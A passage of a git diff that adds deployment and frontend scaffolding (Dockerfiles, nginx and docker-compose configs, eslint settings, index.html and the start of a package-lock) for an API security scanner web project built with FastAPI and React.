user_id:+ raise HTTPException(+ status_code = status.HTTP_403_FORBIDDEN,+ detail = "Not authorized to delete this scan",+ )++ return ScanRepository.delete(db, scan_id)diff --git a/api-security-scanner/conf/docker/dev/fastapi.docker b/api-security-scanner/conf/docker/dev/fastapi.dockernew file mode 100644index 00000000..aaa18c3c--- /dev/null+++ b/api-security-scanner/conf/docker/dev/fastapi.docker@@ -0,0 +1,34 @@+# ⒸAngelaMos | 2025+# Development FastAPI Dockerfile++FROM python:3.11-slim++# Set environment variables+ENV PYTHONUNBUFFERED=1 \+ PYTHONDONTWRITEBYTECODE=1 \+ PIP_NO_CACHE_DIR=1 \+ PIP_DISABLE_PIP_VERSION_CHECK=1++# Set working directory+WORKDIR /app++# Install system dependencies+RUN apt-get update && apt-get install -y --no-install-recommends \+ gcc \+ postgresql-client \+ && rm -rf /var/lib/apt/lists/*++# Copy only requirements first (for layer caching)+COPY backend/requirements.txt .++# Install Python dependencies+RUN pip install --no-cache-dir -r requirements.txt++# Copy application code+COPY backend/ .++# Expose port+EXPOSE 8000++# Run with uvicorn hot reload+CMD ["uvicorn", "main:app", "--host", "0.0.0.0", "--port", "8000", "--reload"]diff --git a/api-security-scanner/conf/docker/dev/vite.docker b/api-security-scanner/conf/docker/dev/vite.dockernew file mode 100644index 00000000..a8bcfb80--- /dev/null+++ b/api-security-scanner/conf/docker/dev/vite.docker@@ -0,0 +1,24 @@+# ⒸAngelaMos | 2025+# Development Vite Dockerfile+# Runs Vite dev server with HMR (Hot Module Replacement)+# Uses volume mounts for code (defined in docker-compose.dev.yml)++FROM node:20-alpine++# Set working directory+WORKDIR /app++# Copy package files first (for layer caching)+COPY frontend/package*.json ./++# Install dependencies+RUN npm ci++# Copy application code (in dev this is overridden by volume mount)+COPY frontend/ .++# Expose port+EXPOSE 5173++# Run Vite dev server with --host to allow external connections+CMD ["npm", "run", "dev", "--", "--host", "0.0.0.0"]diff --git a/api-security-scanner/conf/docker/prod/fastapi.docker b/api-security-scanner/conf/docker/prod/fastapi.dockernew file mode 100644index 00000000..3e02fa1c--- /dev/null+++ b/api-security-scanner/conf/docker/prod/fastapi.docker@@ -0,0 +1,48 @@+# ⒸAngelaMos | 2025+# Production FastAPI Dockerfile+# Optimized for performance with gunicorn multi-worker setup+# No hot reload, built image (no volume mounts)++FROM python:3.11-slim++# Set environment variables+ENV PYTHONUNBUFFERED=1 \+ PYTHONDONTWRITEBYTECODE=1 \+ PIP_NO_CACHE_DIR=1 \+ PIP_DISABLE_PIP_VERSION_CHECK=1++# Set working directory+WORKDIR /app++# Install system dependencies+RUN apt-get update && apt-get install -y --no-install-recommends \+ gcc \+ postgresql-client \+ && rm -rf /var/lib/apt/lists/*++# Copy only requirements first (for layer caching)+COPY backend/requirements.txt .++# Install Python dependencies+RUN pip install --no-cache-dir -r requirements.txt++# Install gunicorn for production+RUN pip install --no-cache-dir gunicorn++# Copy application code+COPY backend/ .++# Create non-root user for security+RUN useradd -m -u 1000 appuser && chown -R appuser:appuser /app+USER appuser++# Expose port+EXPOSE 8000++# Run with gunicorn (4 workers, uvicorn worker class for async support)+CMD ["gunicorn", "main:app", \+ "--workers", "4", \+ "--worker-class", "uvicorn.workers.UvicornWorker", \+ "--bind", "0.0.0.0:8000", \+ "--access-logfile", "-", \+ "--error-logfile", "-"]diff --git a/api-security-scanner/conf/docker/prod/vite.docker b/api-security-scanner/conf/docker/prod/vite.dockernew file mode 100644index 00000000..b3fd3885--- /dev/null+++ b/api-security-scanner/conf/docker/prod/vite.docker@@ -0,0 +1,44 @@+# ⒸAngelaMos | 2025+# Production Vite Dockerfile (Multi-stage build)+# Stage 1: Build the React app with Vite+# Stage 2: Serve static files with Nginx++# ===================================+# Stage 1: Build+# ===================================+FROM node:20-alpine AS builder++WORKDIR /app++# Copy package files+COPY frontend/package*.json ./++# Install dependencies+RUN npm ci --only=production++# Copy source code+COPY frontend/ .++# Build the app (creates dist/ folder with static files)+RUN npm run build++# ===================================+# Stage 2: Serve with Nginx+# ===================================+FROM nginx:alpine++# Copy built static files from builder stage+COPY --from=builder /app/dist /usr/share/nginx/html++# Copy custom nginx configuration+COPY conf/nginx/prod.nginx /etc/nginx/nginx.conf++# Expose port+EXPOSE 80++# Health check+HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \+ CMD wget --quiet --tries=1 --spider http://localhost/health || exit 1++# Start nginx+CMD ["nginx", "-g", "daemon off;"]diff --git a/api-security-scanner/conf/nginx/dev.nginx b/api-security-scanner/conf/nginx/dev.nginxnew file mode 100644index 00000000..05278347--- /dev/null+++ b/api-security-scanner/conf/nginx/dev.nginx@@ -0,0 +1,61 @@+# ⒸAngelaMos | 2025+# Development Nginx Configuration+# Features:+# - Proxies to Vite dev server (with HMR/WebSocket support)+# - Proxies /api to FastAPI backend+# - No caching, no SSL++events {+ worker_connections 1024;+}++http {+ # Include shared config+ include /etc/nginx/http.conf;++ # Disable access logs in dev (less noise)+ access_log off;+ error_log /var/log/nginx/error.log warn;++ server {+ listen 80;+ server_name localhost;++ # Client max body size (for file uploads in scans)+ client_max_body_size 10M;++ # Backend API routes+ location /api/ {+ proxy_pass http://backend:8000/;++ # Apply common proxy settings+ proxy_http_version 1.1;+ proxy_set_header Upgrade $http_upgrade;+ proxy_set_header Connection 'upgrade';+ proxy_set_header Host $host;+ proxy_set_header X-Real-IP $remote_addr;+ proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;+ proxy_set_header X-Forwarded-Proto $scheme;+ proxy_cache_bypass $http_upgrade;+ }++ # Frontend (Vite dev server with HMR)+ location / {+ proxy_pass http://frontend;++ # WebSocket support for Vite HMR+ proxy_http_version 1.1;+ proxy_set_header Upgrade $http_upgrade;+ proxy_set_header Connection 'upgrade';+ proxy_set_header Host $host;+ proxy_cache_bypass $http_upgrade;+ }++ # Health check endpoint+ location /health {+ access_log off;+ return 200 "healthy\n";+ add_header Content-Type text/plain;+ }+ }+}diff --git a/api-security-scanner/conf/nginx/http.conf b/api-security-scanner/conf/nginx/http.confnew file mode 100644index 00000000..a81238af--- /dev/null+++ b/api-security-scanner/conf/nginx/http.conf@@ -0,0 +1,28 @@+# ⒸAngelaMos | 2025+# Shared HTTP configuration for both dev and prod+# This file contains common settings used by dev.nginx and prod.nginx++# Upstream backend (FastAPI)+upstream backend {+ server backend:8000;+}++# Upstream frontend (Vite dev server in dev, static files in prod)+upstream frontend {+ server frontend:5173;+}++# Common proxy settings+proxy_http_version 1.1;+proxy_set_header Upgrade $http_upgrade;+proxy_set_header Connection 'upgrade';+proxy_set_header Host $host;+proxy_set_header X-Real-IP $remote_addr;+proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;+proxy_set_header X-Forwarded-Proto $scheme;+proxy_cache_bypass $http_upgrade;++# Timeouts+proxy_connect_timeout 60s;+proxy_send_timeout 60s;+proxy_read_timeout 60s;diff --git a/api-security-scanner/conf/nginx/prod.nginx b/api-security-scanner/conf/nginx/prod.nginxnew file mode 100644index 00000000..41ba2e9e--- /dev/null+++ b/api-security-scanner/conf/nginx/prod.nginx@@ -0,0 +1,136 @@+# ⒸAngelaMos | 2025+# Production Nginx Configuration+# Features:+# - Serves static frontend files from /usr/share/nginx/html+# - Proxies /api to FastAPI backend+# - Caching, gzip compression, security headers+# - SSL/HTTPS ready (commented out, uncomment when you have certificates)++events {+ worker_connections 2048;+}++http {+ # Include shared config+ include /etc/nginx/http.conf;+ include /etc/nginx/mime.types;+ default_type application/octet-stream;++ # Logging+ access_log /var/log/nginx/access.log;+ error_log /var/log/nginx/error.log warn;++ # Performance optimizations+ sendfile on;+ tcp_nopush on;+ tcp_nodelay on;+ keepalive_timeout 65;+ types_hash_max_size 2048;++ # Gzip compression+ gzip on;+ gzip_vary on;+ gzip_min_length 1000;+ gzip_comp_level 6;+ gzip_types+ text/plain+ text/css+ text/xml+ text/javascript+ application/json+ application/javascript+ application/xml+rss+ application/rss+xml+ font/truetype+ font/opentype+ application/vnd.ms-fontobject+ image/svg+xml;++ # HTTP server (will redirect to HTTPS in production)+ server {+ listen 80;+ server_name localhost;++ # Uncomment below to redirect HTTP to HTTPS in production+ # return 301 https://$server_name$request_uri;++ # Client max body size+ client_max_body_size 10M;++ # Security headers+ add_header X-Frame-Options "SAMEORIGIN" always;+ add_header X-Content-Type-Options "nosniff" always;+ add_header X-XSS-Protection "1; mode=block" always;+ add_header Referrer-Policy "no-referrer-when-downgrade" always;++ # Backend API routes+ location /api {+ proxy_pass http://backend;++ # Apply common proxy settings+ proxy_http_version 1.1;+ proxy_set_header Upgrade $http_upgrade;+ proxy_set_header Connection 'upgrade';+ proxy_set_header Host $host;+ proxy_set_header X-Real-IP $remote_addr;+ proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;+ proxy_set_header X-Forwarded-Proto $scheme;+ proxy_cache_bypass $http_upgrade;++ # Timeouts for API requests+ proxy_connect_timeout 60s;+ proxy_send_timeout 60s;+ proxy_read_timeout 60s;+ }++ # Serve static frontend files+ location / {+ root /usr/share/nginx/html;+ try_files $uri $uri/ /index.html;++ # Cache static assets+ location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf|eot)$ {+ expires 1y;+ add_header Cache-Control "public, immutable";+ }++ # Don't cache index.html+ location = /index.html {+ add_header Cache-Control "no-cache, no-store, must-revalidate";+ }+ }++ # Health check endpoint+ location /health {+ access_log off;+ return 200 "healthy\n";+ add_header Content-Type text/plain;+ }+ }++ # HTTPS server (uncomment and configure when you have SSL certificates)+ # server {+ # listen 443 ssl http2;+ # server_name yourdomain.com;+ #+ # # SSL certificates (use Let's Encrypt or similar)+ # ssl_certificate /etc/nginx/ssl/cert.pem;+ # ssl_certificate_key /etc/nginx/ssl/key.pem;+ #+ # # SSL configuration+ # ssl_protocols TLSv1.2 TLSv1.3;+ # ssl_ciphers HIGH:!aNULL:!MD5;+ # ssl_prefer_server_ciphers on;+ # ssl_session_cache shared:SSL:10m;+ # ssl_session_timeout 10m;+ #+ # # Security headers+ # add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;+ # add_header X-Frame-Options "SAMEORIGIN" always;+ # add_header X-Content-Type-Options "nosniff" always;+ # add_header X-XSS-Protection "1; mode=block" always;+ #+ # # Same location blocks as HTTP server above+ # # ...+ # }+}diff --git a/api-security-scanner/docker-compose.dev.yml b/api-security-scanner/docker-compose.dev.ymlnew file mode 100644index 00000000..43ce3e4a--- /dev/null+++ b/api-security-scanner/docker-compose.dev.yml@@ -0,0 +1,88 @@+# ⒸAngelaMos | 2025++services:+ # PostgreSQL Database+ db:+ image: postgres:16-alpine+ container_name: apisec_db_dev+ environment:+ POSTGRES_USER: ${POSTGRES_USER:-apiuser}+ POSTGRES_PASSWORD: ${POSTGRES_PASSWORD:-apipass}+ POSTGRES_DB: ${POSTGRES_DB:-apisecurity}+ ports:+ - "${HOST_DB_PORT:-5432}:5432"+ volumes:+ - postgres_data_dev:/var/lib/postgresql/data+ healthcheck:+ test: ["CMD-SHELL", "pg_isready -U ${POSTGRES_USER:-apiuser}"]+ interval: 10s+ timeout: 5s+ retries: 5+ networks:+ - apisec_network++ # FastAPI Backend+ backend:+ build:+ context: .+ dockerfile: conf/docker/dev/fastapi.docker+ container_name: apisec_backend_dev+ environment:+ DATABASE_URL: postgresql://${POSTGRES_USER:-apiuser}:${POSTGRES_PASSWORD:-apipass}@db:5432/${POSTGRES_DB:-apisecurity}+ SECRET_KEY: ${SECRET_KEY:-dev-secret-key-change-this}+ DEBUG: "true"+ BACKEND_HOST: ${BACKEND_HOST:-0.0.0.0}+ BACKEND_PORT: ${BACKEND_PORT:-8000}+ CORS_ORIGINS: ${CORS_ORIGINS:-http://localhost:5173,http://localhost:3000,http://localhost}+ ports:+ - "${HOST_BACKEND_PORT:-8000}:8000"+ volumes:+ - ./backend:/app+ depends_on:+ db:+ condition: service_healthy+ networks:+ - apisec_network+ restart: unless-stopped++ # React Frontend (Development with Vite HMR)+ frontend:+ build:+ context: .+ dockerfile: conf/docker/dev/vite.docker+ container_name: apisec_frontend_dev+ environment:+ VITE_API_URL: ${VITE_API_URL:-http://localhost:8000}+ ports:+ - "${HOST_FRONTEND_PORT:-5173}:5173"+ volumes:+ - ./frontend:/app+ - /app/node_modules+ networks:+ - apisec_network+ restart: unless-stopped++ # Nginx Reverse Proxy+ nginx:+ image: nginx:alpine+ container_name: apisec_nginx_dev+ ports:+ - "${HOST_NGINX_PORT:-80}:80"+ volumes:+ - ./conf/nginx/dev.nginx:/etc/nginx/nginx.conf:ro+ - ./conf/nginx/http.conf:/etc/nginx/http.conf:ro+ depends_on:+ - backend+ - frontend+ networks:+ - apisec_network+ restart: unless-stopped++volumes:+ postgres_data_dev:+ name: apisec_postgres_data_dev++networks:+ apisec_network:+ name: apisec_network_dev+ driver: bridgediff --git a/api-security-scanner/docker-compose.prod.yml b/api-security-scanner/docker-compose.prod.ymlnew file mode 100644index 00000000..ece97396--- /dev/null+++ b/api-security-scanner/docker-compose.prod.yml@@ -0,0 +1,80 @@+# ⒸAngelaMos | 2025++services:+ # PostgreSQL Database+ db:+ image: postgres:16-alpine+ container_name: apisec_db_prod+ environment:+ POSTGRES_USER: ${POSTGRES_USER:-apiuser}+ POSTGRES_PASSWORD: ${POSTGRES_PASSWORD:-apipass}+ POSTGRES_DB: ${POSTGRES_DB:-apisecurity}+ # Uncomment to expose DB port (not recommended for production)+ # ports:+ # - "${HOST_DB_PORT:-5432}:5432"+ volumes:+ - postgres_data_prod:/var/lib/postgresql/data+ healthcheck:+ test: ["CMD-SHELL", "pg_isready -U ${POSTGRES_USER:-apiuser}"]+ interval: 10s+ timeout: 5s+ retries: 5+ networks:+ - apisec_network+ restart: always++ # FastAPI Backend (Production with Gunicorn)+ backend:+ build:+ context: .+ dockerfile: conf/docker/prod/fastapi.docker+ container_name: apisec_backend_prod+ environment:+ DATABASE_URL: postgresql://${POSTGRES_USER:-apiuser}:${POSTGRES_PASSWORD:-apipass}@db:5432/${POSTGRES_DB:-apisecurity}+ SECRET_KEY: ${SECRET_KEY}+ DEBUG: "false"+ BACKEND_HOST: ${BACKEND_HOST:-0.0.0.0}+ BACKEND_PORT: ${BACKEND_PORT:-8000}+ CORS_ORIGINS: ${CORS_ORIGINS:-https://yourdomain.com}+ expose:+ - "8000"+ depends_on:+ db:+ condition: service_healthy+ networks:+ - apisec_network+ restart: always+ healthcheck:+ test: ["CMD", "curl", "-f", "http://localhost:8000/"]+ interval: 30s+ timeout: 10s+ retries: 3+ start_period: 40s++ # Frontend (Production - Nginx serving static files)+ frontend:+ build:+ context: .+ dockerfile: conf/docker/prod/vite.docker+ container_name: apisec_frontend_prod+ ports:+ - "${HOST_NGINX_PORT:-80}:80"+ # Uncomment for HTTPS:+ # - "${HOST_NGINX_HTTPS_PORT:-443}:443"+ depends_on:+ - backend+ networks:+ - apisec_network+ restart: always+ # Optional: Mount SSL certificates for HTTPS+ # volumes:+ # - ./ssl:/etc/nginx/ssl:ro++volumes:+ postgres_data_prod:+ name: apisec_postgres_data_prod++networks:+ apisec_network:+ name: apisec_network_prod+ driver: bridgediff --git a/api-security-scanner/frontend/.gitignore b/api-security-scanner/frontend/.gitignorenew file mode 100644index 00000000..a547bf36--- /dev/null+++ b/api-security-scanner/frontend/.gitignore@@ -0,0 +1,24 @@+# Logs+logs+*.log+npm-debug.log*+yarn-debug.log*+yarn-error.log*+pnpm-debug.log*+lerna-debug.log*++node_modules+dist+dist-ssr+*.local++# Editor directories and files+.vscode/*+!.vscode/extensions.json+.idea+.DS_Store+*.suo+*.ntvs*+*.njsproj+*.sln+*.sw?diff --git a/api-security-scanner/frontend/eslint.config.js b/api-security-scanner/frontend/eslint.config.jsnew file mode 100644index 00000000..91c820ca--- /dev/null+++ b/api-security-scanner/frontend/eslint.config.js@@ -0,0 +1,122 @@+// ===================+// © AngelaMos | 2025+// eslint.config.js+// ===================+import js from '@eslint/js';+import tseslint from 'typescript-eslint';+import react from 'eslint-plugin-react';+import reactHooks from 'eslint-plugin-react-hooks';+import reactRefresh from 'eslint-plugin-react-refresh';+import jsxA11y from 'eslint-plugin-jsx-a11y';+import prettierConfig from 'eslint-config-prettier';+import globals from 'globals';++export default tseslint.config(+ {+ ignores: ['dist', 'vite.config.ts', '*.min.js', 'eslint.config.js'],+ },++ js.configs.recommended,++ ...tseslint.configs.strictTypeChecked,+ ...tseslint.configs.stylisticTypeChecked,++ {+ files: ['**/*.{ts,tsx}'],+ plugins: {+ react,+ 'react-hooks': reactHooks,+ 'react-refresh': reactRefresh,+ 'jsx-a11y': jsxA11y,+ },+ languageOptions: {+ parser: tseslint.parser,+ parserOptions: {+ project: ['./tsconfig.app.json', './tsconfig.node.json'],+ tsconfigRootDir: import.meta.dirname,+ ecmaFeatures: { jsx: true },+ },+ globals: {+ ...globals.browser,+ ...globals.node,+ },+ },+ settings: {+ react: {+ version: 'detect',+ },+ },+ rules: {+ '@typescript-eslint/no-unused-vars': ['error', { argsIgnorePattern: '^_', varsIgnorePattern: '^_', caughtErrorsIgnorePattern: '^_' }],+ '@typescript-eslint/consistent-type-imports': ['error', { prefer: 'type-imports', fixStyle: 'inline-type-imports' }],+ '@typescript-eslint/explicit-function-return-type': ['error', {+ allowExpressions: true,+ allowTypedFunctionExpressions: true,+ allowHigherOrderFunctions: true,+ allowDirectConstAssertionInArrowFunctions: true,+ allowedNames: ['Component']+ }],+ '@typescript-eslint/naming-convention': 'off',+ '@typescript-eslint/no-non-null-assertion': 'error',+ '@typescript-eslint/array-type': ['error', { default: 'array' }],+ '@typescript-eslint/no-explicit-any': 'error',+ '@typescript-eslint/no-confusing-void-expression': 'off',+ '@typescript-eslint/no-unnecessary-condition': 'off',+ '@typescript-eslint/no-floating-promises': 'error',+ '@typescript-eslint/strict-boolean-expressions': ['error', {+ allowString: false,+ allowNumber: false,+ allowNullableObject: false,+ allowNullableString: true,+ allowAny: true+ }],++ '@typescript-eslint/prefer-as-const': 'error',+ '@typescript-eslint/consistent-type-definitions': ['error', 'interface'],++ 'react/prop-types': 'off',+ 'react/jsx-uses-react': 'off',+ 'react/react-in-jsx-scope': 'off',+ 'react/jsx-no-leaked-render': ['error', { validStrategies: ['ternary'] }],+ 'react/jsx-key': ['error', { checkFragmentShorthand: true, checkKeyMustBeforeSpread: true, warnOnDuplicates: true }],+ 'react/jsx-no-useless-fragment': ['error', { allowExpressions: false }],+ 'react/jsx-pascal-case': ['error', { allowAllCaps: false }],+ 'react/no-array-index-key': 'warn',+ 'react/no-unstable-nested-components': 'error',++ 'react-hooks/rules-of-hooks': 'error',+ 'react-hooks/exhaustive-deps': 'warn',++ 'react-refresh/only-export-components': [+ 'warn',+ { allowConstantExport: true },+ ],++ 'jsx-a11y/alt-text': 'error',+ 'jsx-a11y/anchor-has-content': 'error',+ 'jsx-a11y/click-events-have-key-events': 'error',+ 'jsx-a11y/no-static-element-interactions': 'error',++ 'no-console': ['warn', { allow: ['warn', 'error'] }],+ 'no-debugger': 'error',+ 'no-alert': 'error',+ 'no-var': 'error',+ 'prefer-const': 'error',+ 'prefer-template': 'error',+ 'object-shorthand': 'error',+ 'no-nested-ternary': 'error',+ 'max-depth': ['error', 6],+ 'max-lines': ['error', { max: 2000, skipBlankLines: true, skipComments: true }],+ 'complexity': ['error', 55],+ },+ },++ {+ files: ['src/main.tsx'],+ rules: {+ '@typescript-eslint/no-non-null-assertion': 'off', // Allow document.getElementById('root')!+ },+ },++ prettierConfig,+);diff --git a/api-security-scanner/frontend/index.html b/api-security-scanner/frontend/index.htmlnew file mode 100644index 00000000..faf6f33c--- /dev/null+++ b/api-security-scanner/frontend/index.html@@ -0,0 +1,23 @@+<!DOCTYPE html>+<html lang="en">+<head>+<meta charset="utf-8">+<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1">+<meta name="theme-color" content="#000000">+<meta name="description" content="API Security Scanner Project, React Typescript, Nginx, Docker, FastAPI, Python, Pydandic, OWASP">+<meta name="author" content="Carter Perez">+<meta property="og:locale" content="en_US">+<meta property="article:author" content="Carterperez-dev - REPLACE MY NAME">+<meta name="keywords" content="scanner, security, owasp, api scanner, api security, cybersecurity, projects, project">+<link rel="icon" href="/favicon.ico">+<link rel="apple-touch-icon" href="/apple-touch-icon.png">+<link rel="manifest" href="/manifest.json">+<meta name="robots" content="index, follow">+<title>API Security Scanner</title>+</head>+<body>+<noscript>You need to enable JavaScript to run this app.</noscript>+<div id="root"></div>+<script type="module" src="/src/main.tsx"></script>+</body>+</html>diff --git a/api-security-scanner/frontend/package-lock.json b/api-security-scanner/frontend/package-lock.jsonnew file mode 100644index 00000000..2223c496--- /dev/null+++ b/api-security-scanner/frontend/package-lock.json@@ -0,0 +1,8160 @@+{+ "name": "api-security-scanner",+ "version": "1.0.0",+ "lockfileVersion": 3,+ "requires": true,+ "packages": {+ "": {+ "name": "api-security-scanner",+ "version": "1.0.0",+ "dependencies": {+ "@hookform/resolvers": "^5.2.1",+ "@radix-ui/react-collapsible": "^1.1.12",+ "@radix-ui/react-dialog": "^1.1.15",+ "@radix-ui/react-dropdown-menu": "^2.1.16",+ "@radix-ui/react-tabs": "^1.1.13",+ "@radix-ui/react-toast": "^1.2.15",+ "@radix-ui/react-tooltip": "^1.2.8",+ "@tanstack/react-query": "^5.85.3",+ "@tanstack/react-query-devtools": "^5.85.3",+ "axios": "^1.12.2",+ "clsx": "^2.1.1",+ "date-fns": "^4.1.0",+ "immer": "^10.1.1",+ "react": "^19.1.1",+ "react-dom": "^19.1.1",+ "react-hook-form": "^7.62.0",+ "react-icons": "^5.5.0",+ "react-markdown": "^10.1.0",+ "react-router-dom": "^7.8.1",+ "recharts": "^3.1.2",+ "socket.io-client": "^4.8.1",+ "sonner": "^2.0.7",+ "zod": "^4.0.17",+ "zustand": "^5.0.7"+ },+ "devDependencies": {+ "@eslint/js": "^9.33.0",+ "@types/react": "^19.1.10",+ "@types/react-dom": "^19.1.7",+ "@vitejs/plugin-react": "^5.0.0",+ "eslint": "^9.33.0",+ "eslint-config-prettier": "^10.1.8",+ "eslint-plugin-jsx-a11y": "^6.10.2",+ "eslint-plugin-react": "^7.37.5",+ "eslint-plugin-react-hooks": "^5.2.0",+ "eslint-plugin-react-refresh": "^0.4.20",+ "globals": "^16.3.0",+ "husky": "^8.0.0",+ "prettier": "^3.6.2",+ "typescript": "~5.8.3",+ "typescript-eslint": "^8.39.1",+ "vite": "^7.1.2",+ "vite-tsconfig-paths": "^5.1.4"+ }+ },+ "node_modules/@babel/code-frame": {+ "version": "7.27.1",+ "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.27.1.tgz",+ "integrity": "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@babel/helper-validator-identifier": "^7.27.1",+ "js-tokens": "^4.0.0",+ "picocolors": "^1.1.1"+ },+ "engines": {+ "node": ">=6.9.0"+ }+ },+ "node_modules/@babel/compat-data": {+ "version": "7.28.5",+ "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.28.5.tgz",+ "integrity": "sha512-6uFXyCayocRbqhZOB+6XcuZbkMNimwfVGFji8CTZnCzOHVGvDqzvitu1re2AU5LROliz7eQPhB8CpAMvnx9EjA==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=6.9.0"+ }+ },+ "node_modules/@babel/core": {+ "version": "7.28.5",+ "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.28.5.tgz",+ "integrity": "sha512-e7jT4DxYvIDLk1ZHmU/m/mB19rex9sv0c2ftBtjSBv+kVM/902eh0fINUzD7UwLLNR+jU585GxUJ8/EBfAM5fw==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@babel/code-frame": "^7.27.1",+ "@babel/generator": "^7.28.5",+ "@babel/helper-compilation-targets": "^7.27.2",+ "@babel/helper-module-transforms": "^7.28.3",+ "@babel/helpers": "^7.28.4",+ "@babel/parser": "^7.28.5",+ "@babel/template": "^7.27.2",+ "@babel/traverse": "^7.28.5",+ "@babel/types": "^7.28.5",+ "@jridgewell/remapping": "^2.3.5",+ "convert-source-map": "^2.0.0",+ "debug": "^4.1.0",+ "gensync": "^1.0.0-beta.2",+ "json5": "^2.2.3",+ "semver": "^6.3.1"+ },+ "engines": {+ "node": ">=6.9.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/babel"+ }+ },+ "node_modules/@babel/generator": {+ "version": "7.28.5",+ "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.28.5.tgz",+ "integrity": "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@babel/parser": "^7.28.5",+ "@babel/types": "^7.28.5",+ "@jridgewell/gen-mapping": "^0.3.12",+ "@jridgewell/trace-mapping": "^0.3.28",+ "jsesc": "^3.0.2"+ },+ "engines": {+ "node": ">=6.9.0"+ }+ },+ "node_modules/@babel/helper-compilation-targets": {+ "version": "7.27.2",+ "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.27.2.tgz",+ "integrity": "sha512-2+1thGUUWWjLTYTHZWK1n8Yga0ijBz1XAhUXcKy81rd5g6yh7hGqMp45v7cadSbEHc9G3OTv45SyneRN3ps4DQ==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@babel/compat-data": "^7.27.2",+ "@babel/helper-validator-option": "^7.27.1",+ "browserslist": "^4.24.0",+ "lru-cache": "^5.1.1",+ "semver": "^6.3.1"+ },+ "engines": {+ "node": ">=6.9.0"+ }+ },+ "node_modules/@babel/helper-globals": {+ "version": "7.28.0",+ "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz",+ "integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=6.9.0"+ }+ },+ "node_modules/@babel/helper-module-imports": {+ "version": "7.27.1",+ "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.27.1.tgz",+ "integrity": "sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1p+/r3w==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@babel/traverse": "^7.27.1",+ "@babel/types": "^7.27.1"+ },+ "engines": {+ "node": ">=6.9.0"+ }+ },+ "node_modules/@babel/helper-module-transforms": {+ "version": "7.28.3",+ "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.3.tgz",+ "integrity": "sha512-gytXUbs8k2sXS9PnQptz5o0QnpLL51SwASIORY6XaBKF88nsOT0Zw9szLqlSGQDP/4TljBAD5y98p2U1fqkdsw==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@babel/helper-module-imports": "^7.27.1",+ "@babel/helper-validator-identifier": "^7.27.1",+ "@babel/traverse": "^7.28.3"+ },+ "engines": {+ "node": ">=6.9.0"+ },+ "peerDependencies": {+ "@babel/core": "^7.0.0"+ }+ },+ "node_modules/@babel/helper-plugin-utils": {+ "version": "7.27.1",+ "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.27.1.tgz",+ "integrity": "sha512-1gn1Up5YXka3YYAHGKpbideQ5Yjf1tDa9qYcgysz+cNCXukyLl6DjPXhD3VRwSb8c0J9tA4b2+rHEZtc6R0tlw==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=6.9.0"+ }+ },+ "node_modules/@babel/helper-string-parser": {+ "version": "7.27.1",+ "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz",+ "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=6.9.0"+ }+ },+ "node_modules/@babel/helper-validator-identifier": {+ "version": "7.28.5",+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz",+ "integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=6.9.0"+ }+ },+ "node_modules/@babel/helper-validator-option": {+ "version": "7.27.1",+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz",+ "integrity": "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=6.9.0"+ }+ },+ "node_modules/@babel/helpers": {+ "version": "7.28.4",+ "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.28.4.tgz",+ "integrity": "sha512-HFN59MmQXGHVyYadKLVumYsA9dBFun/ldYxipEjzA4196jpLZd8UjEEBLkbEkvfYreDqJhZxYAWFPtrfhNpj4w==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@babel/template": 